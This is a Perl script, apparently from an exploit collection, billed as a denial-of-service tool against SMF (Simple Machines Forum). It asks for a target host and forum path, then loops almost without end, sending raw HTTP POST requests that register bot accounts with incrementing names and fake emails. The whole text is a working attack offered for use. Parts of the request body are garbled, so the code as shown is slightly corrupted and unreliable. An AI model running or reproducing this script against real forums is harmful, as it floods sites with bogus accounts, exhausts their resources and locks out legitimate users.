Buyrun
#SMF DOS By Viran
#Attempts to Register Multiple Users on Desired SMF forum
#Works on Most Versions, cant tell you exact, did not experiment enough #to give affected versions.
use IO::Socket;
print "SMF Multiple User Registration DoS by viran\n\n";
print q(Enter a Host Name, ex www.host.com:
);
$host = <STDIN>;
chop ($host);
print q(Enter The Forum Directory ex /smf:
);
$dir = <STDIN>;
chop ($dir);
print q(Enter a Botname:
);
$bot = <STDIN>;
chop ($bot);
while($x != 999999999999999999999999999999999999)
{
$login ="$bot$x";
$email ="blank$x";
$sticky="user=$login&email=$email%40gg.com&passwrd 1=password&passwrd2=password®agree=on®Submit =Register";
$lgth = length($sticky);
my $sock = new IO::Socket::INET (
PeerAddr => "$host",
PeerPort => "80",
Proto => "tcp",
) or die "Could Not Open a Socket \n Check the Desired Host You Entered, it may be dosed";
print $sock "POST $dir/index.php?action=register2 HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Accept-Language: en-us,en;q=0.5\n";
print $sock "Accept-Encoding: gzip,deflate\n";
print $sock "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\n";
print $sock "Keep-Alive: 300\n";
print $sock "Connection: keep-alive\n";
print $sock "Referer: http://www.$host/smf/index.php?PHPSESSID=95e0352c6697ffe00a2e829231320f 3e&action=register\n";
print $sock "Cookie: PHPSESSID=95e0352c6697ffe00a2e829231320f3e\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: $lgth\n";
print $sock "$sticky\n";
close($sock);
print".";
$x++
}